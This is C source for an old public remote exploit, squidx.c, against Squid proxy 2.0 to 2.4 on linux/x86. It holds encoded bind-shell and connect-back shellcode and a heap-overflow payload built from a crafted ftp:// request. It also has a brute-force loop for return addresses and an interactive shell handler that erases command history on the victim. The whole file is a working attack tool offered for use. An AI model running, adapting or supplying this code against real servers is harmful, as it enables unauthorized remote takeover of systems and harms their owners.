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squidx.c
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2005-02-12
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/**
** *OLD* *OLD* *OLD* *OLD**OLD* *OLD**OLD* *OLD**OLD* *OLD**OLD* *OLD*
**
** linux/x86 2.0 <= squid <= 2.4.DEVEL4 remote exploit (c) gunzip
**
** to compile type 'make squidx'
**
** Version 2.4STABLE(*) are vulnerable too but you have to play with
** USERLEN, NOPNUM, PASSLEN values to get exploit works (because of the
** different memory layout). Read below how to write new targets.
**
** This is however a rare exploitable bug because
**
** - Squid dies every time you overflow it and you have to wait > 10 sec
** - You can't bruteforce too much or squid will rest in peace forever
** - You MUST have the rights (acl) to use ftp proxying (not in default conf)
** - Address differs alot (return addresses) from distro to distro
** - Victim host must have an ftp server running to connect to
** - Yes, you can change the host who runs ftp server but in this way
** you mess up the align so the exploit won't work (have to fix this)
**
** I'll put new versions if I've time on
** http://members.xoom.it/gunzip/
**
** comments to gunzip@ircnet - mAilto: <techieone@softhome.net>
**
** TODO: check align against host field, make real targets
**
** Version 0.4
**
** kisses to tankie
** greets: arcangelo, jestah, sorbo, and daphiel for testing
**
** *OLD* *OLD* *OLD* *OLD**OLD* *OLD**OLD* *OLD* *OLD* *OLD* *OLD* *OLD*
**/
/**
** Here are the young men, well where have they been ?
**/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <getopt.h>
char inetd_shellcode[] =
/*
* binds an inetd shell on port 5002 (lsd-pl.net + s-poly by zillion)
*/
"\x4b\xeb\x11\x5e\x31\xc9\xb1\x81\x80\x6c\x0e\xff\xd4\x80\xe9"
"\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xbf\xf6\x2d\x05\x94"
"\x24\x3c\x03\x03\x47\x3c\x3c\x03\x36\x3d\x42\x5d\xb7\x24\x3a"
"\x3c\x01\x37\x5d\xbb\x24\x25\x2b\x27\x5d\xb5\x6d\x84\xdf\xa1"
"\x54\xbc\xad\xd3\xd3\xd3\x39\x37\x3c\x43\xf4\x46\x3a\x39\xf4"
"\x47\x48\x46\x39\x35\x41\xf4\x48\x37\x44\xf4\x42\x43\x4b\x35"
"\x3d\x48\xf4\x46\x43\x43\x48\xf4\x03\x36\x3d\x42\x03\x47\x3c"
"\xf4\x47\x3c\xf4\x01\x3d\x12\x03\x48\x41\x44\x03\x02\x4c\xf4"
"\x0f\x03\x49\x47\x46\x03\x47\x36\x3d\x42\x03\x3d\x42\x39\x48"
"\x38\xf4\x03\x48\x41\x44\x03\x02\x4c\x0f\x39\x37\x3c\x43\xf4"
"\x4d\x39\x35\x3c";
char forking_bind[] =
/*
* by eSDee - www.netric.org, encoded with s-poly by zillion
*/
"\x57\x5f\xeb\x11\x5e\x31\xc9\xb1\xc8\x80\x44\x0e\xff\x2b\x49"
"\x41\x49\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x06\x95\x06\xb0"
"\x06\x9e\x26\x86\xdb\x26\x86\xd6\x26\x86\xd7\x26\x5e\xb6\x88"
"\xd6\x85\x3b\xa2\x55\x5e\x96\x06\x95\x06\xb0\x25\x25\x25\x3b"
"\x3d\x85\xc4\x88\xd7\x3b\x28\x5e\xb7\x88\xe5\x28\x88\xd7\x27"
"\x26\x5e\x9f\x5e\xb6\x85\x3b\xa2\x55\x06\xb0\x0e\x98\x49\xda"
"\x06\x95\x15\xa2\x55\x06\x95\x25\x27\x5e\xb6\x88\xd9\x85\x3b"
"\xa2\x55\x5e\xac\x06\x95\x06\xb0\x06\x9e\x88\xe6\x86\xd6\x85"
"\x05\xa2\x55\x06\x95\x06\xb0\x25\x25\x2c\x5e\xb6\x88\xda\x85"
"\x3b\xa2\x55\x5e\x9b\x06\x95\x06\xb0\x85\xd7\xa2\x55\x0e\x98"
"\x4a\x15\x06\x95\x5e\xd0\x85\xdb\xa2\x55\x06\x95\x06\x9e\x5e"
"\xc8\x85\x14\xa2\x55\x06\x95\x16\x85\x14\xa2\x55\x06\x95\x16"
"\x85\x14\xa2\x55\x06\x95\x25\x3d\x04\x04\x48\x3d\x3d\x04\x37"
"\x3e\x43\x5e\xb8\x60\x29\xf9\xdd\x25\x28\x5e\xb6\x85\xe0\xa2"
"\x55\x06\x95\x15\xa2\x55\x06\x95\x5e\xc8\x85\xdb\xa2\x55\xc0"
"\x6e";
#define IP "\x7f\x01\x01\x01" /* 127.1.1.1 */
#define DPORT "\x99\x99" /* 39321 */
char connectback_shellcode[] =
/*
* by gloomy - www.netric.org
*/
"\x31\xc0\xb0\x02\xcd\x80\x31\xdb\x39\xd8\x75\x54"
"\x50\x40\x50\x40\x50\x89\xe1\x43\xb0\x66\xcd\x80"
"\x4b\x53\x53\x68" IP "\x66\x68" DPORT "\xb3\x02"
"\x66\x53\x89\xe2\xb3\x10\x53\x52\x50\x89\xe1\xb3"
"\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1\x75\x23\xb1"
"\x02\xb0\x3f\xcd\x80\x49\x75\xf9\xb0\x3f\xcd\x80"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\x31\xc0"
"\x40\xcd\x80";
#define CONNECT_BACK 0x1
#define CONNECT_TO 0x10
#define IP_OFFSET 28
#define PORT_OFFSET 34
struct hits
{
char * desc ;
char * code ;
unsigned short flag ;
unsigned short port ;
} ht[]=
{
{ "forking bind shellcode (45295)", forking_bind,
CONNECT_TO, 45295 },
{ "binds a shell via inetd (5002)", inetd_shellcode,
CONNECT_TO, 5002 },
{ "connects back on supplied host (39321)", connectback_shellcode,
CONNECT_BACK, 39321 },
{ NULL, 0, 0 }
};
#define TIMEOUT 0x5
#ifndef INADDR_NONE
#define INADDR_NONE 0xffffffff
#endif
#ifndef INADDR_ANY
#define INADDR_ANY 0x00000000
#endif
#ifdef DEBUG
#define debug(x...) printf(x)
#else
#define debug(x...)
#endif
/**
** a little rip from teso fmtlib
**/
#define OCT( b0, b1, b2, b3, addr ) { \
b0 = (addr >> 24) & 0xff; \
b1 = (addr >> 16) & 0xff; \
b2 = (addr >> 8) & 0xff; \
b3 = (addr ) & 0xff; \
}
void shell( int fd )
{
int rd ;
fd_set rfds;
static char buff[ 1024 ];
char INIT_CMD[] = "unset HISTFILE; echo; id; uname -a;\n";
if (write(fd, INIT_CMD, strlen( INIT_CMD )) < strlen(INIT_CMD)) {
fprintf(stderr,"[-] Error sending evil commands");
exit( EXIT_FAILURE );
}
while(1) {
FD_ZERO( &rfds );
FD_SET(0, &rfds);
FD_SET(fd, &rfds);
if(select(fd+1, &rfds, NULL, NULL, NULL) < 1) {
perror("[-] Select");
exit( EXIT_FAILURE );
}
if( FD_ISSET(0, &rfds) ) {
if( (rd = read(0, buff, sizeof(buff))) < 1) {
perror("[-] Read");
exit( EXIT_FAILURE );
}
if( write(fd,buff,rd) != rd) {
perror("[-] Write");
exit( EXIT_FAILURE );
}
}
if( FD_ISSET(fd, &rfds) ) {
if( (rd = read(fd, buff, sizeof(buff))) < 1) {
exit( EXIT_SUCCESS );
}
write(1, buff, rd);
}
}
}
unsigned long resolve( char * host )
{
unsigned long rev ;
struct hostent * he ;
if (( rev = inet_addr( host )) != INADDR_NONE )
{
return rev ;
}
if ( (he = gethostbyname( host )) == NULL )
{
perror("[-] Gethostbyname");
return -1;
}
else
{
return ((struct in_addr *)(he->h_addr))->s_addr ;
}
}
int connect_to_host( unsigned long ip, unsigned short port )
{
int ret, flags, s ;
struct sockaddr_in server ;
memset( &server, 0x0, sizeof(server) );
server.sin_port = htons ( port );
server.sin_family = AF_INET ;
server.sin_addr.s_addr = ip ;
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1 ) {
perror("[-] Socket");
return -1 ;
}
/**
** sets non blocking socket and connects, ripped somewhere
**/
if ((flags = fcntl (s, F_GETFL, 0)) == -1 ) {
close( s );
return -1;
}
if (fcntl(s, F_SETFL, flags | O_NONBLOCK) == -1) {
close( s );
return -1;
}
ret = connect(s, (struct sockaddr *)&server, sizeof(server));
if ( ret < 0 )
{
if ( errno != EINPROGRESS ) {
close( s );
return -1;
}
else
{
int n ;
struct timeval tv = { TIMEOUT, 0 };
fd_set rset, wset;
FD_ZERO( &rset );
FD_ZERO( &wset );
FD_SET( s, &rset );
FD_SET( s, &wset );
if ((n = select( s + 1, &rset, &wset, NULL, &tv)) == -1 ) {
perror("[-] Select");
return -1;
}
/**
** handles timeout
**/
if (n == 0) {
close( s );
fprintf(stderr,"[-] Timeout\n");
return -1;
}
if (FD_ISSET( s, &rset ) || FD_ISSET( s, &wset ))
{
int error = 0 ;
int len = sizeof( error );
if (getsockopt(s, SOL_SOCKET, SO_ERROR, &error, &len) == -1) {
perror("[-] Getsockopt");
return -1;
}
if (error != 0) {
debug("[*] SO_ERROR != 0\n");
return -1;
}
}
else
{
return -1 ;
}
}
}
/**
** restores flags and returns
**/
if ( fcntl(s, F_SETFL, flags) == -1 )
return -1;
else
return s;
}
size_t net_write( int fd, char * buf, size_t size )
{
struct timeval tv = { TIMEOUT, 0 };
fd_set wfds ;
int ret ;
FD_ZERO( &wfds );
FD_SET( fd, &wfds );
if ( (ret = select( fd+1, NULL, &wfds, NULL, &tv )) == -1 ) {
perror("[-] Select");
exit( EXIT_FAILURE );
}
if ( ret == 0 ) {
close( fd );
fprintf(stderr,"[-] Timeout\n");
exit( EXIT_FAILURE );
}
if ( FD_ISSET( fd, &wfds ) )
{
return( write( fd, buf, size ) );
}
else
{
fprintf(stderr,"[-] Error in sending data\n");
exit( EXIT_FAILURE );
}
}
size_t net_read( int fd, char * buf, size_t size )
{
struct timeval tv = { TIMEOUT, 0 };
fd_set rfds ;
int ret ;
FD_ZERO( &rfds );
FD_SET( fd, &rfds );
if ( (ret = select( fd+1, NULL, &rfds, NULL, &tv )) == -1 ) {
perror("[-] Select");
exit( EXIT_FAILURE );
}
if ( ret == 0 ) {
close( fd );
fprintf(stderr,"[-] Timeout\n");
exit( EXIT_FAILURE );
}
if ( FD_ISSET( fd, &rfds ) )
{
return( read( fd, buf, size ) );
}
else
{
fprintf(stderr,"[-] Error in sending data\n");
exit( EXIT_FAILURE );
}
}
char * make_connback_shellcode( const char * hellcode,
unsigned long ip,
unsigned short port,
int ip_offset,
int port_offset )
{
/**
** ip and port MUST be in host byte order
**/
char a, b, c, d;
char * hell = (char *)strdup( hellcode );
fflush( stderr );
if ( !hell ) {
fprintf( stderr, "[-] Out of memory !\n");
exit( EXIT_FAILURE );
}
debug("[*] Using ip=0x%.8x port=%d\n", (unsigned int)ip, port );
/**
** can't contain 0x0a and 0x0d too !!
**/
OCT( a, b, c, d, ip );
if ( ( !a || !b || !c || !d ) ||
(( a == 0xa )||( b == 0xa )||( c == 0xa )|| ( d == 0xa ))||
(( a == 0xd )||( b == 0xd )||( c == 0xd )|| ( d == 0xd )) )
{
fprintf(stderr, "[-] Ip contains invalid byte(s) that can't be in the shellcode\n"
"[-] Change ip/shellcode and retry.\n");
exit( EXIT_FAILURE );
}
if ( ( !(port & 0xff ) || !(port & 0xff00 )) ||
( (( port & 0xff )== 0xa ) || (( port & 0xff00 )== 0xa )) ||
( (( port & 0xff )== 0xd ) || (( port & 0xff00 )== 0xd )) )
{
fprintf(stderr, "[-] Port contains invalid byte(s) that can't be in the shellcode\n"
"[-] Change bindport/shellcode and retry.\n");
exit( EXIT_FAILURE );
}
*(unsigned long *)( hell + ip_offset ) = htonl( ip );
*(unsigned short *)( hell + port_offset ) = htons( port );
return hell;
}
/**
** if you have time to add real targets send me them,
** I'll return to you the xpl with all new targets and fixes
**/
#define NOPNUM 800
#define USERLEN 11
#define PASSLEN 28
#define URLLEN 24
#define SMARTJUMP "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
#define MASK 0x7
#define BRUTE_START ( 0x346000 + tg[n].retloc )
#define BRUTE_END ( 0x366000 + tg[n].retloc )
#define PORT 3128
#define DELAY 12
#define request2size(req) ( req += (sizeof( size_t ) + MASK) &~ MASK )
/**
** retloc :
** echo 0x`objdump -R /usr/sbin/squid | grep write | awk '{print $1}'`
**
** retaddr:
** gdb squid `pidof squid` then on another console run the exploit
** wait for squid to segfault, if it segfaults to an address like
** 0x08041XXX then you just have to look for nopcode just at
** 0xRETLOC + 346000 (nops look like 0xeb27eb27)
**
** ie. if your retloc is 0x080bb1f8 then just do something like
** (gdb) x/100000x 0x080bb1f8+345000
**
** padding:
** if squid does not segfault on an address like 0x08XXXXXX
** then you have to play with lenght of password, user or url
**/
struct options
{
char * desc ;
unsigned long retaddr ;
unsigned long retloc ;
} tg[]=
{
{ "2.4.DEVEL4 - Debian 3.0 from src" , 0x08401ba4, 0x080bb1f8 },
{ "2.3STABLE5 - Debian 3.0 from src" , 0x0841982c, 0x080b80a8 },
{ NULL, 0, 0 }
};
void usage( char * a )
{
fprintf( stderr, "Usage: %s -v victim [options]\n\n"
"-v\tvictim ip or fqhn\n"
"-p\tport to connect to (default 3128)\n"
"-f\tdoes not check if host is vulnerable (forces exploit)\n"
"-j\tjust check if host is vulnerable\n"
"-i\tip address for connect back shellcode\n"
"-P\tport of connect back shellcode\n"
"-t\tone of the targets (for a list type -t X)\n"
"-c\tone of the shellcodes (for a list type -c X)\n"
"-b\tbruteforce mode\n"
"-s\tstep for bruteforce\n"
"-d\tdelay between attacks (12 secs default)\n"
"-n\tnumber of nops (try 800, 1024, 1500, 2068)\n"
"-r\treturn address (shellcode address)\n"
"-g\taddress to be overwritten\n\n", a );
exit( EXIT_FAILURE );
}
void show_target_list()
{
int i;
fprintf( stderr, "[+] TARGETS:\n\n");
for (i = 0 ; tg[ i ].desc ; i++ )
fprintf ( stderr, " %d - %s\n", i, tg[ i ].desc);
printf("\n");
exit( EXIT_FAILURE );
}
void show_code_list()
{
int i;
fprintf( stderr, "[+] SHELLCODES\n\n");
for (i = 0 ; ht[ i ].desc ; i++ )
fprintf ( stderr, " %d - %s\n", i, ht[ i ].desc );
printf("\n");
exit( EXIT_FAILURE );
}
int squid_check_if_vuln( unsigned long ip, char * host )
{
int s ;
char buf[ 1024 ];
char pad[ 64 ];
memset( buf, 0x0, sizeof(buf) );
memset( pad, 0x7e, sizeof(pad) );
pad[ 63 ] =0;
snprintf( buf, sizeof(buf) - 1,
"GET ftp://%s:%s@%s/ HTTP/1.0\r\n\r\n",
pad, pad, host );
buf[ 1024 - 1 ] =0;
if ( (s = connect_to_host( ip, 3128 )) == -1 )
return 0;
if (net_write( s, buf, strlen(buf) ) == strlen(buf)) {
memset( buf, 0x0, sizeof(buf) );
if( net_read( s, buf, sizeof(buf)) > 0 ) {
close( s );
return 0;
}
else {
close( s );
return 1;
}
}
close( s );
return 0;
}
/**
** every leeto exploit MUST have dots in it
**/
void wait_dots( int s )
{
int i;
fprintf( stdout, "[+] Sleeping %d secs to let squid restart", s);
for ( i=0; i <= s ; i++ )
{
fflush( stdout );
fprintf(stdout, ".");
sleep( 1 );
}
fprintf( stdout, "\n" );
}
int main(int argc, char *argv[])
{
unsigned long ip = 0x7f000001,
local_ip = 0x0,
retaddr = 0x0;
unsigned int len, i,
step = NOPNUM - 256,
nopnum = NOPNUM,
delay = DELAY;
unsigned short port = PORT ;
int opt, s, n =0, c =0, brute =0, force =0;
char user [ 128 ];
char pass [ 128 ];
char url [ 128 ];
char evil [ 4096 ];
char nops [ NOPNUM ];
char * t ;
char * host = "0.0.0.0" ;
char * victim = "127.0.0.1";
fprintf(stdout, "\nlinux/x86 remote exploit against squid <= 2.4.STABLE3 by gunzip\n\n");
if ( argc < 3 )
usage( argv[0] );
while ((opt = getopt(argc, argv, "n:d:i:P:jfp:c:t:v:r:g:bs:h")) != EOF) {
switch(opt)
{
case 'd': delay = atoi(optarg); break;
case 'n': nopnum = atoi(optarg); break;
case 'i': local_ip = inet_addr(optarg); break;
case 'P': ht[c].port = atoi(optarg); break;
case 'f': force=1; break;
case 'j': force=-1; break;
case 'p': port = atoi(optarg) ;
case 'c': if ( *optarg == 'X' ) show_code_list();
else c = atoi(optarg); break;
case 't': if ( *optarg == 'X' ) show_target_list();
else n = atoi(optarg); break;
case 'v': victim = strdup( optarg ); break ;
case 'r': tg[n].retaddr = strtoul( optarg, NULL, 16 ); break ;
case 'g': tg[n].retloc = strtoul( optarg, NULL, 16 ); break ;
case 'b': brute=1; break;
case 's': step=atoi(optarg); break;
case 'h': default: usage( "./squidx" ); break;
}
}
if ( ht[c].port > 65535 || ht[c].port < 1 ) {
fprintf(stderr, "[-] Not valid port for connect back code\n");
return -1;
}
if ( ht[c].flag & CONNECT_BACK ) {
if ( !local_ip || local_ip == -1 ) {
fprintf(stderr,"[-] You must supply a valid ip for connect back shellcode.\n");
return -1;
}
ht[c].code = make_connback_shellcode( ht[c].code,
ntohl( local_ip ),
ht[c].port,
IP_OFFSET,
PORT_OFFSET
);
}
if ( (ip = resolve( victim )) == -1 ) {
fprintf(stderr, "[-] Cannot resolve victim ip\n");
return -1;
}
if ( !force ) {
if ( squid_check_if_vuln( ip, host ) )
fprintf(stdout, "[+] Host seems vuln !\n");
else {
fprintf(stderr, "[-] Host seems not vuln, sorry.\n");
return -1;
}
if ( force == -1 )
return 1;
wait_dots( 12 );
}
fprintf(stdout,"[+] Target %s\n", tg[n].desc);
fprintf(stdout,"[+] Host is %s\n", victim );
/**
** this is for align and overflow
**/
memset( user, 0x7e, USERLEN );
user[ USERLEN ] = 0;
memset( pass, 0x7e, PASSLEN );
pass[ PASSLEN ] = 0 ;
len = 64 + strlen( user ) + strlen( pass ) + strlen( host ) + URLLEN;
t = (char *)malloc( len );
memset( evil, 0x00, sizeof(evil));
memset( nops, 0xeb, sizeof(nops));
memset( url, 0x41, sizeof(url));
/**
** that's because 0x27 act as a nop
**/
for ( i=1; i < sizeof(nops) ; i+=2 )
nops[ i ] = 0x27 ;
nops[ nopnum - strlen(ht[c].code) - 8 ] = 0 ;
snprintf( evil, sizeof(evil)-1, "Accept: %s%s%s\r\n\r\n", nops, SMARTJUMP, ht[c].code);
for ( retaddr=(brute ? BRUTE_START : tg[n].retaddr ); retaddr <= (brute ? BRUTE_END : tg[n].retaddr ); reta
ddr += step )
{
memset( t, 0x0, len );
fprintf(stdout,"[+] Using retaddr=0x%.8x retloc=0x%.8x code=%d step=%d\n",
(u_int)retaddr, (u_int)tg[n].retloc,
strlen(ht[c].code), step);
*(long *)&url[0] = 0x4142432f ; /* dummy */
*(long *)&url[4] = 0xfffffffc ; /* prevsize */
*(long *)&url[8] = 0xfffffffc ; /* size field */
*(long *)&url[12] = 0xdeadbeef ; /* dummy */
*(long *)&url[16] = tg[n].retloc - 12 ; /* fd */
*(long *)&url[20] = retaddr ; /* bk */
url[ URLLEN ] = 0 ;
debug("[*] Using host=%d user=%d url=%d pass=%d\n",
strlen(host), strlen(user),
strlen(url), strlen(pass));
debug("[*] Using buffer_len=%d real_malloced_size=%d\n",
len, request2size( len ));
strcat( t, "GET " );
strcat( t, "ftp://" );
strcat( t, user );
strcat( t, ":" );
strcat( t, pass );
strcat( t, "@" );
strcat( t, host );
strcat( t, url );
strcat( t, " HTTP/1.0\r\n" );
debug("[*] Using string=%d evil=%d\n", strlen(t), strlen(evil));
if ( (s = connect_to_host( ip, 3128 )) == -1 ) {
fprintf(stderr, "[-] Could not connect to host %s\n", victim );
return -1;
}
net_write( s, t, strlen(t) );
net_write( s, evil, strlen(evil) );
if (( brute ) && !(brute++ % 5) )
wait_dots( 22 );
else
wait_dots( 12 );
close( s );
sleep( 1 );
if ( ht[c].flag & CONNECT_TO )
{
int y = connect_to_host( ip, ht[c].port );
fprintf( stdout, "[+] Trying connecting to the backdoor\n");
if ( y > 0 ) shell( y );
}
fprintf(stdout, "[+] I did not work.\n");
}
return 1;
}